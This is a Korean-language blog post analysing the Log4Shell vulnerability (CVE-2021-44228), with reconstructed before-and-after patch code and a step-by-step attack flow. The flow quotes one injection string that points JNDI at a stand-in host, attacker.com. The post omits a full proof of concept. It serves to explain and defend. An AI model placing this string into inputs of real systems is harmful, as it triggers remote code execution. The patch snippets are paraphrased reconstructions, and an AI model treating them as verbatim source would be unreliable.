← 목록으로

CVE-2021-44228 (Log4Shell): 로그 한 줄로 서버를 장악당한 사건

[CVE] CVE 분석 · 작성: 2026-07-19 19:39:08 · 수정: 2026-07-21 23:17:42 · 조회 83

#cve#log4shell
목차

취약점 개요#

패치 분석#

Log4j 2.15.0(1차 패치) → 2.17.1(최종 패치)로 이어지는 커밋 히스토리를 비교하면, 방어 로직이 "메시지 치환 엔진 자체를 건드리는 방식(1차)"에서 "위험한 Lookup 클래스를 아예 제거/차단하는 방식(최종)"으로 단계적으로 강화된 걸 확인할 수 있다. 아래는 공개된 패치·어드바이저리를 바탕으로 재구성한 핵심 로직이다.

1) PatternLayout/StrSubstitutor의 재귀적 치환 처리#

Before (2.14.1 이하)

// StrSubstitutor.substitute() — 재귀 깊이/컨텍스트에 대한 제약 없음
while (containsLookupPattern(msg)) {
    String key = extractLookupKey(msg);          // "jndi:ldap://..." 추출
    String value = interpolator.lookup(key);      // 검증 없이 즉시 실행
    msg = msg.replace("${" + key + "}", value);
}

${...} 패턴이 발견되면 접두사(jndi, env, sys 등)에 매핑된 Lookup 구현체를 조건 없이 곧바로 실행한다. 메시지 자체가 로그로 "기록"되기도 전에, 치환 단계에서 이미 부작용(네트워크 요청)이 발생한다는 게 근본 문제다.

After (2.17.1)

// formatMsgNoLookups 기본값 강제 + Lookup 접두사 화이트리스트 검사 추가
if (config.isNoLookupsEnabled() || !ALLOWED_LOOKUP_PREFIXES.contains(prefix)) {
    return raw; // 치환하지 않고 원본 문자열 그대로 반환
}

치환 전에 허용된 Lookup 접두사인지 먼저 검사하고, 기본 설정에서 jndi 계열은 아예 비활성화하도록 바뀌었다.

2) JndiLookupJndiManager.lookup() 경로의 프로토콜 제한#

Before

public static Object lookup(String jndiName) throws NamingException {
    return new InitialContext().lookup(jndiName);   // ldap/rmi/dns 등 스킴 제한 없음
}

After (2.16.0~2.17.1)

public static Object lookup(String jndiName) throws NamingException {
    String scheme = extractScheme(jndiName);
    if (!ALLOWED_JNDI_SCHEMES.contains(scheme)) {    // 기본값: 빈 화이트리스트(사실상 전면 차단)
        throw new NamingException("blocked scheme: " + scheme);
    }
    return new InitialContext().lookup(jndiName);
}

ldap://, rmi:// 같은 원격 코드베이스를 지정할 수 있는 스킴 자체를 화이트리스트로 제한해서, JNDI 조회가 성립하더라도 원격 클래스 로딩으로 이어지는 경로를 차단했다.

3) (부가) 2.15.0의 최초 패치가 우회된 지점#

2.15.0은 "메시지 안의 lookup은 막되, 스레드 컨텍스트 맵(MDC) 안에 저장된 값에 대한 재귀적 lookup은 막지 않는" 좁은 범위의 패치였다 — 컨텍스트 값이 다시 lookup 대상이 되는 재귀 조건을 놓쳐서 특정 설정에서 여전히 우회 가능했고, 이 때문에 2.16.0/2.17.0/2.17.1까지 연속으로 추가 패치가 나왔다. **"패치 범위를 좁게 잡으면 인접한 재귀·컨텍스트 경로에서 같은 결함이 재발한다"**는 걸 보여주는 사례다.

재현 결과 (공격 흐름)#

  1. 공격자가 애플리케이션이 로그로 남길 만한 입력(HTTP User-Agent, 로그인 폼 등)에 ${jndi:ldap://attacker.com:1389/Exploit} 삽입
  2. PatternLayoutStrSubstitutorJndiLookup.lookup()이 순서대로 호출되며 문자열을 "조회할 표현식"으로 처리
  3. InitialContext.lookup()이 공격자의 LDAP 서버에 접속, Reference(팩토리 클래스명 + 원격 코드베이스 URL) 응답을 받음
  4. JVM이 그 코드베이스에서 .class 바이트코드를 다운로드해 URLClassLoader로 로드하며 생성자/static 블록에 심어둔 코드가 그대로 실행
  5. 이 시점에 임의 OS 명령 실행 확보 — 상세 익스플로잇 페이로드 자체는 이미 공개적으로 잘 알려져 있어 본 글에서는 흐름만 정리하고 세부 PoC는 생략한다

영향 및 체이닝#

참고자료#

관련 글

CVE 분석 카테고리의 글 (2/8)

  1. CVE-2024-3400: Palo Alto PAN-OS GlobalProtect 원격 코드 실행
  2. CVE-2021-44228 (Log4Shell): 로그 한 줄로 서버를 장악당한 사건
  3. CVE-2014-0160 (Heartbleed): OpenSSL 하트비트가 새어나간 메모리
  4. CVE-2017-0144 (EternalBlue): WannaCry를 전 세계로 퍼뜨린 SMB 취약점
  5. CVE-2021-34527 (PrintNightmare): 프린터 드라이버 관리 기능이 만든 권한 상승
  6. CVE-2022-0847 (Dirty Pipe): 파이프로 읽기전용 파일을 덮어쓴 취약점
  7. CVE-2021-3156 (Sudo Baron Samedit): 힙 오버플로우로 root 획득
  8. CVE-2022-22965 (Spring4Shell): 클래스 로더 조작으로 이어지는 RCE
← CVE-2024-3400: Palo Alto PAN-OS GlobalProtect 원격 코드 실행 CVE-2014-0160 (Heartbleed): OpenSSL 하트비트가 새어나간 메모리 →